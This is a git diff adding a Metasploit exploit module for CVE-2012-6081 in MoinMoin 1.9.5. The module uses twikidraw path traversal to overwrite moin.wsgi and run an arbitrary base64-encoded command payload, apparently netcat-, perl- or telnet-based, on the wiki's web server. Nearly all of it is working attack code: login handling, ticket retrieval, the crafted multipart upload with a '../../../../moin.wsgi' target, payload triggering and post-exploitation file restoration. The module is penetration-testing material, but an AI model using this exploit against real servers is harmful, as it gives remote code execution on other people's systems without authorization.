diff --git a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb new file mode 100644 index 0000000000..e082f8276a --- /dev/null +++ b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb @@ -0,0 +1,273 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MoinMoin twikidraw Action Traversal File Upload', + 'Description' => %q{ + This module exploits a vulnerability in MoinMoin 1.9.5. The vulnerability + exists on the manage of the twikidraw actions, where a traversal path can be used + in order to upload arbitrary files. Exploitation is achieved on Apached/mod_wsgi + configurations by overwriting moin.wsgi, which allows to execute arbitrary python + code, as exploited in the wild on July, 2012. The user is warned to use this module + at his own risk since it's going to overwrite the moin.wsgi file, required for the + correct working of the MoinMoin wiki. While the exploit will try to restore the + attacked application at post exploitation, correct working after all isn't granted. + }, + 'Author' => + [ + 'Unknown', # Vulnerability discovery + 'HTP', # PoC + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-6081' ], + [ 'OSVDB', '88825' ], + [ 'BID', '57082' ], + [ 'EDB', '25304' ], + [ 'URL', 'http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f' ], + [ 'URL', 'http://wiki.python.org/moin/WikiAttack2013' ] + ], + 'Privileged' => false, # web server context + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 16384, # Enough one to fit any payload + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic telnet netcat perl' + } + }, + 'Platform' => [ 'unix' ], + 'Arch' => ARCH_CMD, + 'Targets' => [[ 'MoinMoin 1.9.5', { }]], + 'DisclosureDate' => 'Dec 30 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [ true, "MoinMoin base path", "/" ]), + OptString.new('WritablePage', [ true, "MoinMoin Page with edit permissions to inject the payload, by default WikiSandbox (Ex: /WikiSandbox)", "/WikiSandBox" ]), + OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]), + OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ]) + ], self.class) + end + + def moinmoin_template(path) + template =[] + template << "# -*- coding: iso-8859-1 -*-" + template << "import sys, os" + template << "sys.path.insert(0, 'PATH')".gsub(/PATH/, File.dirname(path)) + template << "from MoinMoin.web.serving import make_application" + template << "application = make_application(shared=True)" + return template + end + + def restore_file(session, file, contents) + first = true + contents.each {|line| + if first + session.shell_command_token("echo \"#{line}\" > #{file}") + first = false + else + session.shell_command_token("echo \"#{line}\" >> #{file}") + end + } + end + + # Try to restore a basic moin.wsgi file with the hope of making the + # application usable again. + # Try to search on /usr/local/share/moin (default search path) and the + # current path (apache user home). Avoiding to search on "/" because it + # could took long time to finish. + def on_new_session(session) + print_status("Trying to restore moin.wsgi...") + begin + files = session.shell_command_token("find `pwd` -name moin.wsgi 2> /dev/null") + files.split.each { |file| + print_status("#{file} found! Trying to restore...") + restore_file(session, file, moinmoin_template(file)) + } + + files = session.shell_command_token("find /usr/local/share/moin -name moin.wsgi 2> /dev/null") + files.split.each { |file| + print_status("#{file} found! Trying to restore...") + restore_file(session, file, moinmoin_template(file)) + } + print_warning("Finished. If application isn't usable, manual restore of the moin.wsgi file would be required.") + rescue + print_warning("Error while restring moin.wsgi, manual restoring would be required.") + end + end + + def do_login(username, password) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(@base), + 'vars_post' => + { + 'action' => 'login', + 'name' => username, + 'password' => password, + 'login' => 'Login' + } + }) + + if not res or res.code != 200 or not res.headers.include?('Set-Cookie') + return nil + end + + return res.get_cookies + + end + + def upload_code(session, code) + + vprint_status("Retrieving the ticket...") + + res = send_request_cgi({ + 'uri' => normalize_uri(@base, @page), + 'cookie' => session, + 'vars_get' => { + 'action' => 'twikidraw', + 'do' => 'modify', + 'target' => '../../../../moin.wsgi' + } + }) + + if not res or res.code != 200 or res.body !~ /ticket=(.*?)&target/ + vprint_error("Error retrieving the ticket") + return nil + end + + ticket = $1 + vprint_good("Ticket found: #{ticket}") + + my_payload = "[MARK]#{code}[MARK]" + post_data = Rex::MIME::Message.new + post_data.add_part("drawing.r if()else[]\nexec eval(\"open(__file__)\\56read()\\56split('[MARK]')[-2]\\56strip('\\\\0')\")", nil, nil, "form-data; name=\"filename\"") + post_data.add_part(my_payload, "image/png", nil, "form-data; name=\"filepath\"; filename=\"drawing.png\"") + my_data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(@base, @page), + 'cookie' => session, + 'vars_get' => + { + 'action' => 'twikidraw', + 'do' => 'save', + 'ticket' => ticket, + 'target' => '../../../../moin.wsgi' + }, + 'data' => my_data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + if not res or res.code != 200 or not res.body.empty? + vprint_error("Error uploading the payload") + return nil + end + + return true + end + + def check + @base = target_uri.path + @base << '/' if @base[-1, 1] != '/' + + res = send_request_cgi({ + 'uri' => normalize_uri(@base) + }) + + if res and res.code == 200 and res.body =~ /moinmoin/i and res.headers['Server'] =~ /Apache/ + return Exploit::CheckCode::Detected + elsif res + return Exploit::CheckCode::Unknown + end + + return Exploit::CheckCode::Safe + end + + def writable_page?(session) + + res = send_request_cgi({ + 'uri' => normalize_uri(@base, @page), + 'cookie' => session, + }) + + if not res or res.code != 200 or res.body !~ /Edit \(Text\)/ + return false + end + + return true + end + + + def exploit + + # Init variables + @page = datastore['WritablePage'] + + @base = target_uri.path + @base << '/' if @base[-1, 1] != '/' + + # Login if needed + if (datastore['USERNAME'] and + not datastore['USERNAME'].empty? and + datastore['PASSWORD'] and + not datastore['PASSWORD'].empty?) + print_status("Trying login to get session ID...") + session = do_login(datastore['USERNAME'], datastore['PASSWORD']) + else + print_status("Using anonymous access...") + session = "" + end + + # Check authentication + if not session + fail_with(Exploit::Failure::NoAccess, "Error getting a session ID, check credentials") + end + + # Check writable permissions + if not writable_page?(session) + fail_with(Exploit::Failure::NoAccess, "There are no write permissions on #{@page}") + end + + # Upload payload + print_status("Trying to upload payload...") + python_cmd = "import os\nos.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))" + res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))") + if not res + fail_with(Exploit::Failure::Unknown, "Error uploading the payload") + end + + # Execute payload + print_status("Executing the payload...") + res = send_request_cgi({ + 'uri' => normalize_uri(@base, @page), + 'cookie' => session, + 'vars_get' => { + 'action' => 'AttachFile' + } + }, 5) + + end + +end + +